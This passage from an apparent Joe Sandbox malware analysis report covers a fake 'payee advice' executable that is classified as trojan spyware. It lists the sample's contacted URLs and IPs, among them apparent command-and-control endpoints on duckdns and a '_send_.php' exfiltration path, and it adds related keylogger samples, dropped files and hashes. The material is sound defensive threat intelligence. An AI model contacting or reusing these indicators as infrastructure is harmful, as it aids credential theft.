https://chrome.google.com/webstore?hl=enWeb	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003763A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/173.254.250.69$	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037504000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037549000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037605000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fa3hwa.dm.files.1drv.com/ve	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783144437.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2797676860.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783046750.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.onedrive.com/v1.0/shares/s	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F73000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/0	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3352963551.0000000039D2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fa3hwa.dm.files.1drv.com/y4mEprthCF5mq6ohjyODH5IqEX9-zxOXMFMn1SBjkig9TMJ0iW6hgdn3JyiMZPOzrO4	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783046750.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore?hl=enlB	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037645000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.00000000374DA000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037549000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.oned	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328960805.00000000089E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.00000000374DA000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
37.27.123.72	foodex.com.pk	Iran (ISLAMIC Republic Of)	39232	UNINETAZ	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556938
Start date and time:	2024-11-16 16:49:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PayeeAdvice_HK54912_R0038704_37504.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/9@6/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 190 Number of non-executed functions: 145
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.42.12
Excluded domains from analysis (whitelisted): odc-dm-files-geo.onedrive.akadns.net, odc-dm-files-brs.onedrive.akadns.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, odc-commonafdrk-geo.onedrive.akadns.net, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, l-0003.l-msedge.net, ocsp.digicert.com, common.be.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, dm-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, odc-commonafdrk-brs.onedrive.akadns.net
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:51:16	API Interceptor	4645x Sleep call for process: PayeeAdvice_HK54912_R0038704_37504.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	download.exe	Get hash	malicious	Remcos, XWorm	Browse
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	https://t.ly/-kxCO	Get hash	malicious	Braodo	Browse
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Company Profile_pdf.exe	Get hash	malicious	GuLoader	Browse
188.114.97.3	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check
	View Pdf Doc_0b40e7d2137cd39647abbd9321b34da7.htm	Get hash	malicious	Unknown	Browse	f7xiz.nhgrt.top/Kbo731/96f7xiZ96?&&V5G=YW5kZXJzLmhhcnR1bmcuY2hyaXN0ZW5zZW5Acm9ja3dvb2wuY29t
	SWIFT 103 202414111523339800 111124.pdf.vbs	Get hash	malicious	Remcos	Browse	paste.ee/d/YU1NN
	TT copy.exe	Get hash	malicious	FormBook	Browse	www.lnnn.fun/u5w9/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/iiEh1iM3/download
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/dc8Ru
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/LOToW
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	qegyhig.com/login.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	rSWIFT.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	SOF-41593-21052024112851.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	PO NO170300999.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
checkip.dyndns.com	rSWIFT.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.6.168
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	SOF-41593-21052024112851.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	PO NO170300999.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
api.telegram.org	download.exe	Get hash	malicious	Remcos, XWorm	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Company Profile_pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Ziraat#U00a0Bankas#U0131 swift mesaji_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	download.exe	Get hash	malicious	Remcos, XWorm	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	https://t.ly/-kxCO	Get hash	malicious	Braodo	Browse	149.154.167.220
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	new.bat	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
ORACLE-BMC-31898US	rSWIFT.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	botx.mips.elf	Get hash	malicious	Mirai	Browse	130.61.43.113
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	FiddlerSetup.5.0.20245.10105-latest.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	192.29.11.142
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	https://bankinter.codix-imx.solutions/iMX/login.jsp	Get hash	malicious	Unknown	Browse	193.122.9.62
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.6.168

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	rSWIFT.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Dominion Water & Sanitation District.pdf	Get hash	malicious	Unknown	Browse	188.114.97.3
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Order88983273293729387293828PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	CloudServices_Slayed.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	CloudServices.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	SOF-41593-21052024112851.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220
	q1M9Xfi0yC.exe	Get hash	malicious	ScreenConnect Tool	Browse	149.154.167.220
	iZRt9uAa2V.exe	Get hash	malicious	ScreenConnect Tool	Browse	149.154.167.220
	q1M9Xfi0yC.exe	Get hash	malicious	ScreenConnect Tool	Browse	149.154.167.220
	iZRt9uAa2V.exe	Get hash	malicious	ScreenConnect Tool	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll	CL714440147.exe	Get hash	malicious	GuLoader	Browse
	TKnBbCiX07.exe	Get hash	malicious	GuLoader	Browse
	________.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Factura Honorarios 2024-10.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Shipping documents 00039984849900044800.exe	Get hash	malicious	AgentTesla, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.801108840712148
Encrypted:	false
SSDEEP:	192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
MD5:	FC90DFB694D0E17B013D6F818BCE41B0
SHA1:	3243969886D640AF3BFA442728B9F0DFF9D5F5B0
SHA-256:	7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
SHA-512:	324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: CL714440147.exe, Detection: malicious, Browse Filename: TKnBbCiX07.exe, Detection: malicious, Browse Filename: ________.exe, Detection: malicious, Browse Filename: Snurrevoddenes.exe, Detection: malicious, Browse Filename: Eksistensberettigelsernes102.exe, Detection: malicious, Browse Filename: ALI HASSO - P02515 & P02518.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Factura Honorarios 2024-10.exe, Detection: malicious, Browse Filename: Shipping documents 00039984849900044800.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsw22AD.tmp

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	data
Category:	dropped
Size (bytes):	2186614
Entropy (8bit):	2.907014046366564
Encrypted:	false
SSDEEP:	12288:8A/VoYCfp+Lyh5aTuCJh0CvCb/fSQd8rRd:x/CfuK8TuCvvY/6Rf
MD5:	05A9B4BDF262AB8E548A89FB03867E2D
SHA1:	A4B181EEDFFB6494CA8A87434F7099CB40BEB667
SHA-256:	6E36D6836D26F33B54DE433BFDD3F732753D7B9A48DE342348C3C06592692D9C
SHA-512:	2C681534E9EBC131DB3BAE12F31CB5232AEAA71A211DB575B6F59C25F12D4EBEB6EB2E6D2C9BAA872083BCB4979074A9FB03B9C7F1F027DC953185B776BC4A16
Malicious:	false
Reputation:	low
Preview:	8B......,.......,.......D................@.......A..........................................................................................................................................................................................................................................G...J...............h...............................................................g...............................................................j...........................................................................................................................................:...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\foreslaaende\Kedlernes.vid

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	data
Category:	dropped
Size (bytes):	243457
Entropy (8bit):	1.2556862555304324
Encrypted:	false
SSDEEP:	768:BObeQfxNU+OmdH9zR+FY73WLYZLbReg24pPjHp5IIHLP96H7ub2g9zEQyhOrqjUC:EfpiYZgCO4zTJJEQ56XsZ3W
MD5:	2C2AECA05F67661A0A6798FD3DA68257
SHA1:	43140C33EE2A2C3B729CFDE53AD2A7E4D2436BBB
SHA-256:	568B8DEE1985CEAFE404B08549F7363DD53A667C7A2BDF80CA8C57BA7ED9FDA0
SHA-512:	F833EF465CFDB410BE15E2D647DFFA91C3787D19E6155B7F33F2A3127368A20C35B15442AA9C5FE5953E85DCA80DB843E530705AC22E5A19ABDB604EF85EC81C
Malicious:	false
Reputation:	low
Preview:	................................K............H.......................................#............,..............................................................................g..........................>...................3..............................P.../......................-................'.........................H...........................................................G...................................................g..................B.....'.....................>....................................v.........................................:.....................................S..............................._.............................................y.......................................E.......i.............................!...........M..X.......................................................{...$..............................g.....[.........................................=.................7..............-...............................................g.......

C:\Users\user\AppData\Local\foreslaaende\Kontaktformidlingens.unm

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 36028797018963968.000000
Category:	dropped
Size (bytes):	370481
Entropy (8bit):	1.2536250775230349
Encrypted:	false
SSDEEP:	1536:KsTb+NlXRBRrADr1ILH0FvruLfYOL3u4cF:rCNRRsY0FDSQaQ
MD5:	0D9A1AE53B3662ECA9655EF20BB4E0CE
SHA1:	CA647617571F73E4FF815AC7DB91F3FF4BF170A6
SHA-256:	033C22A52C94A106582A33B0C267681B6A4EE7D668E4AA7DA9BD9D0DF05DEA1F
SHA-512:	CF89E8EE9AFB4491890D8AF3FE2F7B855C41B68DEE9746155E1E05CC0B91B390D69C0DF905FDE22E9F3580241A57B1A5050903AC32F2695AB5F6485ACB5161E8
Malicious:	false
Reputation:	low
Preview:	...~........................................x......H..........S..........d............................................................................................................m...............................R.....w...........V.........Z.................b......>........................:..................................................................................................................j..................3..b.....................*.......................P...............................................................#............<.......................................0...a........C......_..........................................................................p..{..........................K.......I.......................E..................&...................................... ............q..........+........................\|..................................e.......a..........tQ............I/.........K......................T........................................

C:\Users\user\AppData\Local\foreslaaende\Necrotize.txt

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	ASCII text, with very long lines (401), with CRLF line terminators
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.236334007211441
Encrypted:	false
SSDEEP:	12:NRkE9FLJJzKZl6O8oMOvusjy7TVLt09BQiux:N7nLjG8oM6jMp093ux
MD5:	F9E44960FAD1DE9A72E38ED010895F2E
SHA1:	56742A285F6AF1D49A3C57941D7562B58601E072
SHA-256:	73F4D5E40CB4BBF5C59C41C8CDDB8F9F7D320470538716B66AA7796EDDB7C6C8
SHA-512:	A7642172F96CFA0C3BFDB34FA575C40BD7ECD88C43DD4DF3354AAC3A0F7C6C8709B42AC88838CD5CBB4B3AF32BB48B6A9D1D2EB77C5F55295A88876B271EF1FA
Malicious:	false
Reputation:	low
Preview:	milvago spiralfjedrenes cushier.decine myggesvrmenes deorganization.giannulas poser kloners sammenhfter femoghalvtreds abettals peripatopsidae.tetradic stoppegarner hjemgivelsen masseorganisation lanx,heddinge kricketen symptomer kinas societism avanti tropistic.sarandon mesonyx sangskriveren biblioskopernes tangram zarebas friordningen bygningsingenirs ventilationernes bambusmaattens signatarmagts..

C:\Users\user\AppData\Local\foreslaaende\Pockily.sam

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	data
Category:	dropped
Size (bytes):	425398
Entropy (8bit):	6.9596013459859805
Encrypted:	false
SSDEEP:	6144:u0JeAPo+z/VoYCfHvR+npNImyh1kbQ+BMaywuCJhwgm0R:CA/VoYCfp+Lyh5aTuCJh08
MD5:	E4876BF05F2F3835F5EF6C35AB8AE670
SHA1:	421353FA201CFFC6BA1EC4B89E7E93D0AC12967D
SHA-256:	4B021B44EC91E049AE37EFE86081DB223FE216F067CA733DB4C0B9C431827E59
SHA-512:	271EDDF295C3C1780376FC62E95A9989225E186E56820471FDDE6954D58D7A47EBA4202BB0B62178AD6EBA43AA422BA2A9627B17DD560AF59A4B30E851372589
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\foreslaaende\ensisternum.myx

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	data
Category:	dropped
Size (bytes):	486557
Entropy (8bit):	1.2517544244225545
Encrypted:	false
SSDEEP:	1536:uRoqTXoly8kLiqpTbJDQAw9WGCEHBg2Ed5:2IkLfpTlDQAOL
MD5:	4F7A0E04C31521449860638552DDC981
SHA1:	D6FF38322926347DED812C57690D26DD6BB167A0
SHA-256:	37B7F63261C13F15D9889F297B29273A7B81EB306009F466A0A4383C954F7F49
SHA-512:	B5620E786B307EBF3259AE6B5AACD8E2A9B75427DAA88C6CDEBD0D0E62A5ACE6983A131F2B70E35703BEA0E3CEFD4A9B26B7706AEFBECB87F7AFAE0B38740CC9
Malicious:	false
Preview:	................P.............................................T....=.........yO.........t..................................W.................................=..................................................................................................................y.........................................................N.....H.................................................................................l.................,..............................]...............:....................................J...}.............................................................................$.........................................=....A....................3.........................................................................7........e...N................#...........................M........................Z....................................................j.................................L........O............................z......,.................c.........3............

C:\Users\user\AppData\Local\foreslaaende\mntende.spi

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	data
Category:	dropped
Size (bytes):	207254
Entropy (8bit):	1.2604686518033184
Encrypted:	false
SSDEEP:	768:od51waTQFApCdHNsdUp09xiXes7NAnAC+qFvVdhVMtdubYN/UIC6mTtRzcScEfQt:hA6C9AG+alAKUcyZ9oE
MD5:	43A8D782AD3A56D7ECD14E52CAEA0F41
SHA1:	FCDFF92EC42BEDC2297AE1ECB3C8A009E9A900BF
SHA-256:	06AB90D835D1CCFF3CFD1AE37956891918190037D989B4072B4E7ABD5B5418C6
SHA-512:	6EEBAC37056096ED7C0C97EA44A4FEDB7DD54DF826171F5733FF72AE0943C6D156F66CCD8239866180AF8FC7793480EDCCACE317BE58F37BEFB12CA43A390871
Malicious:	false
Preview:	...........................i.......................0..........................................................................................................................!.....m..............-....................................................5..e.~........e............ .................................................U.......0{.........B.....................*.................................................................................j...........y................p.............................................................................................a.................o.............................................K.....~.....(...........................D........t.............................................................[.&...... .............................................................m..............x.......................^...........................B...'.........k.....u................L................................................................T..........

C:\Users\user\AppData\Local\foreslaaende\spelts.tru

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	data
Category:	dropped
Size (bytes):	424812
Entropy (8bit):	1.2532745203430722
Encrypted:	false
SSDEEP:	768:zQN1zNkWceUPEvf5mtuQTyT0Vupr6jgDTslr7WSn3Dpbvj33BIUaE6SKCBLnSOXQ:6GkbAmorbpf6nP6e6RlY8R2KNsyB
MD5:	A8D5999B820E9BA7EC8AE02AC64BD740
SHA1:	162064D1816D6723954401E5FF406FB815B1FF01
SHA-256:	F3F32F4EE9A9CF103B9E6876518F46801AA187864024B28DE7F36AB7A1A00B7F
